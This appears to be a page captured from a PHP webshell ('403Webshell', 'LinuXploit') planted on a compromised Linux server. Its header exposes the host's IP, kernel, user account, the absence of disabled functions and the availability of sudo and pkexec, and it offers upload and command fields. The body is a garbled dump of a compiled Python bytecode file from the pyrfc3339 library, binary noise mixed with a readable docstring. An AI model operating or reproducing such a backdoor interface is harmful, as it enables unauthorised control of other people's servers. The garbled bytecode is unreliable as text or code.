403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/pyrfc3339/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pyrfc3339/__pycache__/generator.cpython-313.pyc
�

m�}g���"�SSKrSSKJr SSjrg)�N)�format_timezonec�$�URcHUSLa8USLa(UR[RRS9nO[S5e[S5eUSLa)UR
[RR5nURS5nUSLaX@RS5-
nUR[RRLaUS-
nU$U[URRU5R55-
nU$)a�
Generate an :RFC:`3339`-formatted timestamp from a
:class:`datetime.datetime`.

>>> from datetime import datetime, timezone
>>> from zoneinfo import ZoneInfo
>>> generate(datetime(2009, 1, 1, 12, 59, 59, 0, timezone.utc))
'2009-01-01T12:59:59Z'

The timestamp will use UTC unless `utc=False` is specified, in which case
it will use the timezone from the :class:`datetime.datetime`'s
:attr:`tzinfo` parameter.

>>> eastern = ZoneInfo('US/Eastern')
>>> dt = datetime(2009, 1, 1, 12, 59, 59, tzinfo=eastern)
>>> generate(dt)
'2009-01-01T17:59:59Z'
>>> generate(dt, utc=False)
'2009-01-01T12:59:59-05:00'

Unless `accept_naive=True` is specified, the `datetime` must not be naive.

>>> generate(datetime(2009, 1, 1, 12, 59, 59, 0))
Traceback (most recent call last):
...
ValueError: naive datetime and accept_naive is False

>>> generate(datetime(2009, 1, 1, 12, 59, 59, 0), accept_naive=True)
'2009-01-01T12:59:59Z'

If `accept_naive=True` is specified, the `datetime` is assumed to be UTC.
Attempting to generate a local timestamp from a naive datetime will result
in an error.

>>> generate(datetime(2009, 1, 1, 12, 59, 59, 0), accept_naive=True, utc=False)
Traceback (most recent call last):
...
ValueError: cannot generate a local timestamp from a naive datetime

T)�tzinfoz7cannot generate a local timestamp from a naive datetimez(naive datetime and accept_naive is Falsez%Y-%m-%dT%H:%M:%Sz.%f�Z)r�replace�datetime�timezone�utc�
ValueError�
astimezone�strftimer�	utcoffset�
total_seconds)�dtr
�accept_naive�microseconds�	timestamps     �5/usr/lib/python3/dist-packages/pyrfc3339/generator.py�generaters���T
�y�y���4���d�{��Z�Z�x�'8�'8�'<�'<�Z�=�� �M����G�H�H�
�d�{�
�]�]�8�,�,�0�0�
1�����/�0�I��t���[�[��'�'�	�	�y�y�H�%�%�)�)�)��S��	���	�_�R�Y�Y�%8�%8��%<�%J�%J�%L�M�M�	���)TFF)r�pyrfc3339.utilsrr�rr�<module>rs���+�@r

Youez - 2016 - github.com/yon3zu
LinuXploit